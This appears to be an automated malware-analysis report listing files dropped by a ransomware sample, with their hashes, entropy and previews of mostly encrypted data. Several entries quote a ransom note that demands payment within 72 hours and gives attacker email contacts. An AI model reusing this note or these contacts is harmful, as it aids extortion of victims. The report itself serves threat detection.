                                                                                                                                        Entropy (8bit):7.199243130065247
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:+ZzkNt64XOr+kWKrLFZh9o4FujsflBuxnhRWABnuWIMEIQ3n:PJXk/LHro4FuAU3LBnu9I+n
                                                                                                                                        MD5:FD95ED063637FB9DD2A5D1D5BA819F79
                                                                                                                                        SHA1:6589A6646992103AF89B947F7C2143573786F303
                                                                                                                                        SHA-256:0C1F593783626BF03BC2680C599E4C9A0617E6C84DA7CE5F04DE8D341A18171D
                                                                                                                                        SHA-512:AF9721BF412273FB04C1A6A93691BB39E620B01B6B1A43EF35C623249DB724A0D1D31242A6337754E8C9949B06C186D3740EDAAE7A9E0B38988D11252E71416F
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.....&.%.............P..H3.18jome..?6.....AE.....3.X.k.:R.....]...k..C.a.c....\...B..Kn../.W."ij..X.A...W.}.?X...W...F...%...O.X...I..@...JSS.a.k.$.W.3....W ?.c0y/....0O...p(.?.6_.....1...c..!..9F...]4....#0<....*.b..wJ,.../:...=.c....|.....b}....|.).T...[Nw<...O...X|._w3..}./0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Public Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):302
                                                                                                                                        Entropy (8bit):7.199243130065247
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:+ZzkNt64XOr+kWKrLFZh9o4FujsflBuxnhRWABnuWIMEIQ3n:PJXk/LHro4FuAU3LBnu9I+n
                                                                                                                                        MD5:FD95ED063637FB9DD2A5D1D5BA819F79
                                                                                                                                        SHA1:6589A6646992103AF89B947F7C2143573786F303
                                                                                                                                        SHA-256:0C1F593783626BF03BC2680C599E4C9A0617E6C84DA7CE5F04DE8D341A18171D
                                                                                                                                        SHA-512:AF9721BF412273FB04C1A6A93691BB39E620B01B6B1A43EF35C623249DB724A0D1D31242A6337754E8C9949B06C186D3740EDAAE7A9E0B38988D11252E71416F
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.....&.%.............P..H3.18jome..?6.....AE.....3.X.k.:R.....]...k..C.a.c....\...B..Kn../.W."ij..X.A...W.}.?X...W...F...%...O.X...I..@...JSS.a.k.$.W.3....W ?.c0y/....0O...p(.?.6_.....1...c..!..9F...]4....#0<....*.b..wJ,.../:...=.c....|.....b}....|.).T...[Nw<...O...X|._w3..}./0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):49418
                                                                                                                                        Entropy (8bit):1.1575065962448399
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:tFInG+JABWTU1v7vtbiuuR57xZxPymWyD7/E2ynZXdXUeQMBxM9kd:tFInGzW4xrtbiuMfJyWH6dkeQAymd
                                                                                                                                        MD5:024A949F6B108CDC58A3BA69159EFEBC
                                                                                                                                        SHA1:D789D0C446C9A01FB53B2C7F3100C02D8D41B4C6
                                                                                                                                        SHA-256:463C0948F2C39ACAC657C216738164DD6871117A278CE54FD344B5CE832D827C
                                                                                                                                        SHA-512:67E1F22A808E1870664F0579347EE424FD4508C6935FEF5C5632B51F3610193EAC8B6378FC4A0E6E6CDEA9BE43D55C0951A23343BB019F116C2E6479DC77B089
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.`...J....S..c..7.'vl...A`.1.....B..N...m...... .....cB,W....&....,....Y.B........m...`..K[....qwbb.h...V....W.[.SZ..T8n|..h....?...I.7.e.ii............iL....H@Y.PpT.:..xvM.{*.:lc..6.\..8.t....j...".....o....[~..a"Q]...Z....Pk..0....,...m..y..`$.0.UP....Li.J...G.6Um=B.....d%g~...b...:X....i.........$..}....S..}...Kf!..o..;P5......kY"..T7...*..R.%-`.$$. !?..^x....Xf.%..2.....k.u..I.._.,d.@kA.k...N-.w:8g...4$..).......&.x.].hz.R/..un.......l..[.X6.w.....K.Zu9.)w)..x.V.U....v..m9.b2..z.v..4.A....{.R~A...NB....s.52g..2.G.(b{[t3..f$.&....lL.`.f|.-...(|..p.....L.i.N.u.7}.s....m..r....p'^........Ew..:..l..a...|[Cu....B...V..]..K;.t......j..5.,...S>...u]R..al..k."& ..v...[....R.2. ..:J(..$..zw.....0....j=.Q.d.1.M...b.x.eOs....#.e.'.wA.9z@D.d..0..`K.ga..f2....U.....V....N3.C...h8*^.~.(...t...J&8.......'..d...w;*..!.N....'..m..f...C.ovSq.....&.o.6.>i.[.#.9..........Zr......g........G.......<g...^..?pfw.2....T...B...P.....?....v.9lK
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.6068738360378791
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:/kZMfPsWJ8GWR8Xcb474XWuly8b1SXP5TOzweI7MfLZcpglkp:8ZM3sI8WpgWulytXP5TOzt7fLi1
                                                                                                                                        MD5:AA0DF37EB00CB249F51123A6985AD5A9
                                                                                                                                        SHA1:99A2F9953C9B11AE9E86093EEEF2C89BB2760362
                                                                                                                                        SHA-256:2B6F9AB817DFE9CFB878EC67C255BCF951B6532C960AFBF4002C66A3BAC6243A
                                                                                                                                        SHA-512:EC23827BA099730499D02A831320426717380F4E26D97099BEFE84254A2A13A01D822184DDA294CA923D26B0A3871DCAA28AEBBC8B34DCB2CE3EE4E73A280BCF
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:"(....0?.+...1._..>.}ZK.q.$".JA..9=x.4l....;.+..r....K(.F'...Fa..O...=aY.(./@....'%.....a..Jq...j=.....p.t.+. .jWl..m....-y..T..|..g.P....d.*...Hn....IV.V"...(..,s.....R'6.]...<.."..T.o..3X.`l..@i.i.E..\....4..@'E.2.|j..|!".._...._9W.kx..WNnQ........P..U....M7....bt.....1..&..U..._f.....W....i./.......@..x..F!.}.......E.q...".).|p_g.*.H.;\...h.........k...O...s.......!w...5h.........Sw....{....6j....Y....xvia...[......[D;.1.....8..x$+b.H.L..k.&E-(.M7..C..mO.].;..E.A...9..e$..............._....xd).b..Bnx..>5....;w{.......^..c....J...2....U.gxJ1a5r,v$C..G....m..6A).An:.7....W0:..6 .'......I.Q...J.G.v..6R..x...l.@?.0..G.....".(Qz.j}..2...T4...`.....TP..(h<.s.V....!.-..I....%....].e........^.uF.....w%U.%X..A..%a.}g....u.V...z...C...h..|.P..U...1/|......&y'=..K<.O.^:2J....DRcy.o....qy.S..,.w.4..R,u...^.{..Gv.....d..~..V<..........^...1as.2.N&=.7..5.uR..eR....o...S......$.._E.._.p`...L..=O.?p5.....*c.m.(..O.... E....E....x.L...t...F..~. I..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.6068738360378791
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:/kZMfPsWJ8GWR8Xcb474XWuly8b1SXP5TOzweI7MfLZcpglkp:8ZM3sI8WpgWulytXP5TOzt7fLi1
                                                                                                                                        MD5:AA0DF37EB00CB249F51123A6985AD5A9
                                                                                                                                        SHA1:99A2F9953C9B11AE9E86093EEEF2C89BB2760362
                                                                                                                                        SHA-256:2B6F9AB817DFE9CFB878EC67C255BCF951B6532C960AFBF4002C66A3BAC6243A
                                                                                                                                        SHA-512:EC23827BA099730499D02A831320426717380F4E26D97099BEFE84254A2A13A01D822184DDA294CA923D26B0A3871DCAA28AEBBC8B34DCB2CE3EE4E73A280BCF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:"(....0?.+...1._..>.}ZK.q.$".JA..9=x.4l....;.+..r....K(.F'...Fa..O...=aY.(./@....'%.....a..Jq...j=.....p.t.+. .jWl..m....-y..T..|..g.P....d.*...Hn....IV.V"...(..,s.....R'6.]...<.."..T.o..3X.`l..@i.i.E..\....4..@'E.2.|j..|!".._...._9W.kx..WNnQ........P..U....M7....bt.....1..&..U..._f.....W....i./.......@..x..F!.}.......E.q...".).|p_g.*.H.;\...h.........k...O...s.......!w...5h.........Sw....{....6j....Y....xvia...[......[D;.1.....8..x$+b.H.L..k.&E-(.M7..C..mO.].;..E.A...9..e$..............._....xd).b..Bnx..>5....;w{.......^..c....J...2....U.gxJ1a5r,v$C..G....m..6A).An:.7....W0:..6 .'......I.Q...J.G.v..6R..x...l.@?.0..G.....".(Qz.j}..2...T4...`.....TP..(h<.s.V....!.-..I....%....].e........^.uF.....w%U.%X..A..%a.}g....u.V...z...C...h..|.P..U...1/|......&y'=..K<.O.^:2J....DRcy.o....qy.S..,.w.4..R,u...^.{..Gv.....d..~..V<..........^...1as.2.N&=.7..5.uR..eR....o...S......$.._E.._.p`...L..=O.?p5.....*c.m.(..O.... E....E....x.L...t...F..~. I..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.162658386509123
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:C9vztLstjss3EzN4WJeJqWDBA8gqB+ZPi/3kQFWD9n6fyQn:WQj5EzN4WEvJ+ZPisTn6fyQn
                                                                                                                                        MD5:A715DD9A156C8137E330067A0AA4ED91
                                                                                                                                        SHA1:3FB5B209EDF19E28A203EF70DBF245AADBB075A6
                                                                                                                                        SHA-256:9AEE99A12228150FE2033C5A56A6CA594EA6D8ABACD873C5192266CE316FDCDD
                                                                                                                                        SHA-512:FF00D1AB3D5B321184154685E13EB9A682DC61DBE62101D24D61C231407D06CA30A0AF6FE5BF3EDEC1B5E293A116DBD23C165ED82ED06CAB99505C62F150790B
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:$.r.,9.G\iA.F B"..........z.....F..Ll......Ua.R...."yF.7y}..w.y...q.j..r .+.`..g.....Tn.j..u....Dp............$.../.C....0.3sq.....D...+.&./....R7= .......a.....Y.=..Z.f6 5.^.+.1...&...#.........2?..Y.h.-.....)... (......).....B.O&T.gtr.t]..$.X%..6K ,.3......W.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):49418
                                                                                                                                        Entropy (8bit):1.1575065962448399
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:tFInG+JABWTU1v7vtbiuuR57xZxPymWyD7/E2ynZXdXUeQMBxM9kd:tFInGzW4xrtbiuMfJyWH6dkeQAymd
                                                                                                                                        MD5:024A949F6B108CDC58A3BA69159EFEBC
                                                                                                                                        SHA1:D789D0C446C9A01FB53B2C7F3100C02D8D41B4C6
                                                                                                                                        SHA-256:463C0948F2C39ACAC657C216738164DD6871117A278CE54FD344B5CE832D827C
                                                                                                                                        SHA-512:67E1F22A808E1870664F0579347EE424FD4508C6935FEF5C5632B51F3610193EAC8B6378FC4A0E6E6CDEA9BE43D55C0951A23343BB019F116C2E6479DC77B089
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.`...J....S..c..7.'vl...A`.1.....B..N...m...... .....cB,W....&....,....Y.B........m...`..K[....qwbb.h...V....W.[.SZ..T8n|..h....?...I.7.e.ii............iL....H@Y.PpT.:..xvM.{*.:lc..6.\..8.t....j...".....o....[~..a"Q]...Z....Pk..0....,...m..y..`$.0.UP....Li.J...G.6Um=B.....d%g~...b...:X....i.........$..}....S..}...Kf!..o..;P5......kY"..T7...*..R.%-`.$$. !?..^x....Xf.%..2.....k.u..I.._.,d.@kA.k...N-.w:8g...4$..).......&.x.].hz.R/..un.......l..[.X6.w.....K.Zu9.)w)..x.V.U....v..m9.b2..z.v..4.A....{.R~A...NB....s.52g..2.G.(b{[t3..f$.&....lL.`.f|.-...(|..p.....L.i.N.u.7}.s....m..r....p'^........Ew..:..l..a...|[Cu....B...V..]..K;.t......j..5.,...S>...u]R..al..k."& ..v...[....R.2. ..:J(..$..zw.....0....j=.Q.d.1.M...b.x.eOs....#.e.'.wA.9z@D.d..0..`K.ga..f2....U.....V....N3.C...h8*^.~.(...t...J&8.......'..d...w;*..!.N....'..m..f...C.ovSq.....&.o.6.>i.[.#.9..........Zr......g........G.......<g...^..?pfw.2....T...B...P.....?....v.9lK
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):49418
                                                                                                                                        Entropy (8bit):1.1765917895035423
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:gcIDUNXSXQQHbBw8xuKDzq+ST6Bt5MIigMip1p5IKpuHGh4F:VIDUtSXQG6Czq+SGBt5MQnpJJ644F
                                                                                                                                        MD5:CAB4343D3452853E41A560BF5028557C
                                                                                                                                        SHA1:714F1F6ABD00005618D37945AD7D942257033FF2
                                                                                                                                        SHA-256:CF556A8CD51647775BAB2E1073593F8915A8B50445F31F082FCA939F152AFF97
                                                                                                                                        SHA-512:77048F0B50D3D45A35B8F53AEBCA58801B603C7E3DC9D6162ECC79F190363249B90631DE460CBACAE048CFFC5A6556F11A8BEA9BD0C166511CBD1875148288FA
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..v..t..D.N.....'...uk.lo.[.o.t........I1.W*.c.zd.Xb.....>h.D.T.x.h....x..h.A..Xw..Bn7a..h0U..!j].n+.....{.Q..ZM....$......"....c\...x6........P...{..v..0SN}.2.oh6.b0e....,]<|..fF..)....S......9.i$8.~h.+G.......Z......!...M&..J.5.#?6....D.y..N....`...-....*`..w.6.m..?y5.>)y..d.Lv.cA8.X...8).....1U.....'.q..f.2.....l!.>...V.....*.v.|.....P,.....B,oeD_e.O.d..N*.....1Q.Q.Xdt.5.u.9...dP.....H...J/.O.#.R.g!..{.T..h%.O....1.#Ge.^..T7...2b~.21.WNvo...T.........d.R.....g..7..6..2Y..6.<.e......{...........u.%p.VU...u...T.P..D.!.~......Ez....h[......].e._....D.L...4.]......c.....X...!t?....r\@...p2\{t.m..b_^.(lB.|.y..cQn..4.fR.,.p..:6..9yz...).=e>.n.[...i....N....o.1.P.~..2uU{....D;D.....T....@..=`i...!V.6.7..{.6k.Q.C9.bH2..Q0..Gft(..e....6...WQ....er(.2.|N.....1.P....%.&.2.oV,s..P.W........+`.s&..k".I.........h....6.#.....9t...(.f..Y..D..jk9.V.(..8..].....3.*.....?-n...h...4{.qb.).*.+.I......l&...{..`jv|.."5.r)...sI.+...(x...ba.-..=.[.2.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.609418225613746
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:Cir0JG0NkhKoe1IcKlRfAH2PxZkg8u23dzG5QfZ5p0YnqKJx3ryRf0UiYsCnVR+:brwfo2Klvkg8f1R5Wg3WRUZCVQ
                                                                                                                                        MD5:F632608B524BB4C10454D5590E8B0C65
                                                                                                                                        SHA1:F9EEE330F38F6E25068486683736F68B63F300F4
                                                                                                                                        SHA-256:2F1FD7BE44BE8F4A0E37EE32C0468C7722D2B692AF13506305227FF01C5CBC8D
                                                                                                                                        SHA-512:50BA8DB5F0C3ADBB4FDBA254BAA93B6EF960004DB3C47BDF4A16391C29F9758DCA49DE5AAAD25AD43C7133BDB74128E508B14D524DEF189A21D1EB4F3F7E27BD
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.>...#.....<.M.'..6..D........g.D...X.\...y..O.&.B@,...A..@.1.....#..;I2...O..8..bB....z..5\|.}.7.rh.K{.n..Q.T>C...Ue_&/....9...U...X.|.H..u..=c.....u.z....i....=...%.C......Y.0.1.7...D...z.R.\?1.71.}/..."9..//.8y... ..R.G\v?.(..~.`....`..N..M>.,...,b. ...>.Z.......lO......S...Nbc....=D.....J.u..8..*..(.%....).q.......W.0..}./D.....mQ....G.J!.|,._...%.j...Dud....."v..&..:._.Wt.v....%m!Hfj..F.......>c.........|fG...#.u..62..7zO...H~h.G.H..f....X-c...;5{&..G..y..>..p..ZL.}.".?.....)1-1cv.h.....O.9.2C.V.j..=.8r..U\m.,...<...Va..9.B.../....e{(.&.."C>.......@....h...K.cQ...O..cG...w.Q..!.h/[M.........~...P)-y....F..g/8.]."..b...N.(.TK...fX....Y...`.C.9.......E..vb.P...`./.L.....D.|....!...>...8....|....98a...N].a..kr...Z....V.E..l%...H.*..L^...E.>O....*A...0.U...........I..L....h..........(.>.Tf.s..... *W.....1..h...>....C9.s-:..lZ...*....sB..0E..vXE..!!.9...6.E'<.b.P...[.8%.[.K..I...~-.~F.].......t.jN.:.y.`.!e.3.&..7.s..0$...9...R
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.609418225613746
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:Cir0JG0NkhKoe1IcKlRfAH2PxZkg8u23dzG5QfZ5p0YnqKJx3ryRf0UiYsCnVR+:brwfo2Klvkg8f1R5Wg3WRUZCVQ
                                                                                                                                        MD5:F632608B524BB4C10454D5590E8B0C65
                                                                                                                                        SHA1:F9EEE330F38F6E25068486683736F68B63F300F4
                                                                                                                                        SHA-256:2F1FD7BE44BE8F4A0E37EE32C0468C7722D2B692AF13506305227FF01C5CBC8D
                                                                                                                                        SHA-512:50BA8DB5F0C3ADBB4FDBA254BAA93B6EF960004DB3C47BDF4A16391C29F9758DCA49DE5AAAD25AD43C7133BDB74128E508B14D524DEF189A21D1EB4F3F7E27BD
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.>...#.....<.M.'..6..D........g.D...X.\...y..O.&.B@,...A..@.1.....#..;I2...O..8..bB....z..5\|.}.7.rh.K{.n..Q.T>C...Ue_&/....9...U...X.|.H..u..=c.....u.z....i....=...%.C......Y.0.1.7...D...z.R.\?1.71.}/..."9..//.8y... ..R.G\v?.(..~.`....`..N..M>.,...,b. ...>.Z.......lO......S...Nbc....=D.....J.u..8..*..(.%....).q.......W.0..}./D.....mQ....G.J!.|,._...%.j...Dud....."v..&..:._.Wt.v....%m!Hfj..F.......>c.........|fG...#.u..62..7zO...H~h.G.H..f....X-c...;5{&..G..y..>..p..ZL.}.".?.....)1-1cv.h.....O.9.2C.V.j..=.8r..U\m.,...<...Va..9.B.../....e{(.&.."C>.......@....h...K.cQ...O..cG...w.Q..!.h/[M.........~...P)-y....F..g/8.]."..b...N.(.TK...fX....Y...`.C.9.......E..vb.P...`./.L.....D.|....!...>...8....|....98a...N].a..kr...Z....V.E..l%...H.*..L^...E.>O....*A...0.U...........I..L....h..........(.>.Tf.s..... *W.....1..h...>....C9.s-:..lZ...*....sB..0E..vXE..!!.9...6.E'<.b.P...[.8%.[.K..I...~-.~F.].......t.jN.:.y.`.!e.3.&..7.s..0$...9...R
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.1585722770330555
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:c0Bq/OOhmKybKD381ZnDeBN2sviSeV7zKn:c0BmhmKybKD81ZzFX6n
                                                                                                                                        MD5:7D95EBCCC300A90BDF189D646459EB92
                                                                                                                                        SHA1:FF10A27FDDA53310E52477C048B371901877F8EB
                                                                                                                                        SHA-256:768D02E29A5362095A118BCF2A8D7101FEC6972DAA97992CB2347576E30AB902
                                                                                                                                        SHA-512:FA23C64909FE4192B9432AA9C672198E8738671D10E9EC08B9B6E2C1FB372B5476F4A4CB3356AA20CA756643A011DB1D48D481A6D7DD8A1CBF24868C861E8736
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:^..)$#.O.)................a.{ .......B...6.P.R.P<...1.mT(FP|.pt_..t..o.......!$F..C.. .......S....q.r. k....p.)V.M.a.9.u...G.F....A2.h...^"0+.9..=......G.?.....Q;..lA.0..+5j...pc...%....`.....JK...9,D..aD..Q:..|1^.wHe/~...l...qV.b....vy. 1..J..P=.j.\.dh.....^....#|B.h.^0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):49418
                                                                                                                                        Entropy (8bit):1.1765917895035423
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:gcIDUNXSXQQHbBw8xuKDzq+ST6Bt5MIigMip1p5IKpuHGh4F:VIDUtSXQG6Czq+SGBt5MQnpJJ644F
                                                                                                                                        MD5:CAB4343D3452853E41A560BF5028557C
                                                                                                                                        SHA1:714F1F6ABD00005618D37945AD7D942257033FF2
                                                                                                                                        SHA-256:CF556A8CD51647775BAB2E1073593F8915A8B50445F31F082FCA939F152AFF97
                                                                                                                                        SHA-512:77048F0B50D3D45A35B8F53AEBCA58801B603C7E3DC9D6162ECC79F190363249B90631DE460CBACAE048CFFC5A6556F11A8BEA9BD0C166511CBD1875148288FA
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..v..t..D.N.....'...uk.lo.[.o.t........I1.W*.c.zd.Xb.....>h.D.T.x.h....x..h.A..Xw..Bn7a..h0U..!j].n+.....{.Q..ZM....$......"....c\...x6........P...{..v..0SN}.2.oh6.b0e....,]<|..fF..)....S......9.i$8.~h.+G.......Z......!...M&..J.5.#?6....D.y..N....`...-....*`..w.6.m..?y5.>)y..d.Lv.cA8.X...8).....1U.....'.q..f.2.....l!.>...V.....*.v.|.....P,.....B,oeD_e.O.d..N*.....1Q.Q.Xdt.5.u.9...dP.....H...J/.O.#.R.g!..{.T..h%.O....1.#Ge.^..T7...2b~.21.WNvo...T.........d.R.....g..7..6..2Y..6.<.e......{...........u.%p.VU...u...T.P..D.!.~......Ez....h[......].e._....D.L...4.]......c.....X...!t?....r\@...p2\{t.m..b_^.(lB.|.y..cQn..4.fR.,.p..:6..9yz...).=e>.n.[...i....N....o.1.P.~..2uU{....D;D.....T....@..=`i...!V.6.7..{.6k.Q.C9.bH2..Q0..Gft(..e....6...WQ....er(.2.|N.....1.P....%.&.2.oV,s..P.W........+`.s&..k".I.........h....6.#.....9t...(.f..Y..D..jk9.V.(..8..].....3.*.....?-n...h...4{.qb.).*.+.I......l&...{..`jv|.."5.r)...sI.+...(x...ba.-..=.[.2.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
